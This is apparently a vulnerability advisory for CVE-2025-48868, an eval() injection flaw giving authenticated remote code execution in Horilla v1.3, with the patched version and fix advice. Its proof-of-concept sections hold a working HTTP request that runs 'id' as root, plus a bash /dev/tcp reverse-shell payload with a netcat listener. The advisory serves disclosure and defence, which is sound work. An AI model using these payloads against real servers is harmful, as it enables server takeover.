Overview
An authenticated Remote Code Execution (RCE) vulnerability exists in Horilla v1.3 due to the unsafe use of Python's eval() function on a user-controlled query parameter in the project_bulk_archive view. This allows privileged users (e.g., administrators) to execute arbitrary system commands on the server.
While having Django's DEBUG=True makes exploitation visibly easier by returning command output in the HTTP response, this is not required. The vulnerability can still be exploited in DEBUG=False mode by using blind payloads such as a reverse shell, leading to full remote code execution.
Affected Versions
- Horilla v1.3
Patched Versions
- Horilla v1.3.1
Technical Details
In projects/views.py, the project_bulk_archive function performs bulk archiving of Project instances. The vulnerable code is:
is_active = eval(request.GET.get("is_active"))
This line evaluates the is_active parameter directly using eval() without any validation or sanitization, making it vulnerable to code injection. When DEBUG=True, Django returns detailed error messages, including the output of any expression evaluated by eval().
To successfully exploit this, the attacker must first create a project and then trigger the bulk archive operation with a malicious payload in the is_active parameter.
Required Conditions:
- Authenticated user with project archiving privileges (e.g., admin)
- At least one project created before initiating the archive
- Arbitrary code injection via
is_activequery parameter - For visible output:
DEBUG=True - For silent RCE (e.g., reverse shell):
DEBUG=Falseis still exploitable
PoC – Debug Mode ON
Steps to reproduce:
1. Create a project via the application's project creation interface.
2. Trigger the bulk archive operation using the following crafted HTTP request.
Malicious Request:
POST /project/project-bulk-archive?is_active=__import__('os').popen('id').read() HTTP/1.1
Host: localhost:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://localhost:8000/project/project-view/
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 70
Origin: http://localhost:8000
DNT: 1
Connection: keep-alive
Cookie: sessionid=n3hsxa0ot6pgmvjcmxxcfu4fmrwmd0uo; csrftoken=NMO61HgtbDLLylhvodv6fI1dSrAOj0r9
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
csrfmiddlewaretoken=NMO61HgtbDLLylhvodv6fI1dSrAOj0r9&ids=%5B%225%22%5D
Response (if DEBUG=True):
ValidationError at /project/project-bulk-archive
["uid=0(root) gid=0(root) groups=0(root)\n value must be either True or False."]
This error message confirms that the payload __import__('os').popen('id').read() was executed by eval(), and its result was returned in the error stack trace.
Video PoC: View PoC (Debug ON) - https://drive.google.com/file/d/1XQAJilt77QxkjGEa94CsZRqZIZXa3ET9/view?usp=sharing
PoC – Debug Mode OFF
You lose visibility into return values or errors — so popen('id').read() doesn't help you anymore. However, if you use a "blind" payload (i.e., it performs an action instead of returning output), like a reverse shell, you still get full RCE.
Steps to reproduce:
1. Create a project via the application's project creation interface.
2. Trigger the bulk archive operation with payload:
__import__('os').system('bash+-c+"bash+-i+>%26+/dev/tcp/IP/PORT+0>%261"')
3. On attacker machine run: nc -lnvp PORT
Video PoC: View PoC (Reverse Shell) - https://drive.google.com/file/d/1hnI9AK3fnpVrTlTRF7aRJsKhZCDIm2Ve/view?usp=sharing
Impact
- Impact: Full command execution on the host system (server takeover)
- Vulnerability Type: Authenticated Remote Code Execution (RCE)
- CWE ID: CWE-95: Eval Injection
- Severity: High
- Exploitability: High (requires authenticated access)
Solution
- Upgrade to Horilla v1.3.1 or later.
- Never use
eval()on user-controlled input. - Implement proper input validation and use safe alternatives like
ast.literal_eval()for evaluating trusted data.
Timeline
- 2025-05-18 – Vulnerability reported
- 2025-05-20 – Patch released
- 2025-05-28 – CVE assigned (CVE-2025-48868)
- 2025-09-24 – Advisory published (GHSA-h6qj-pwmx-wjhw)
References
- CVE-2025-48868 Exploit - https://github.com/NaklehZeidan21/NaklehZeidan21.github.io/blob/main/CVE/Exploits/CVE-2025-48868.py
- Horilla Security Advisory - https://github.com/horilla-opensource/horilla/security/advisories/GHSA-h6qj-pwmx-wjhw
- PoC Video (Debug ON) - https://drive.google.com/file/d/1XQAJilt77QxkjGEa94CsZRqZIZXa3ET9/view?usp=sharing
- PoC Video (Reverse Shell) - https://drive.google.com/file/d/1hnI9AK3fnpVrTlTRF7aRJsKhZCDIm2Ve/view?usp=sharing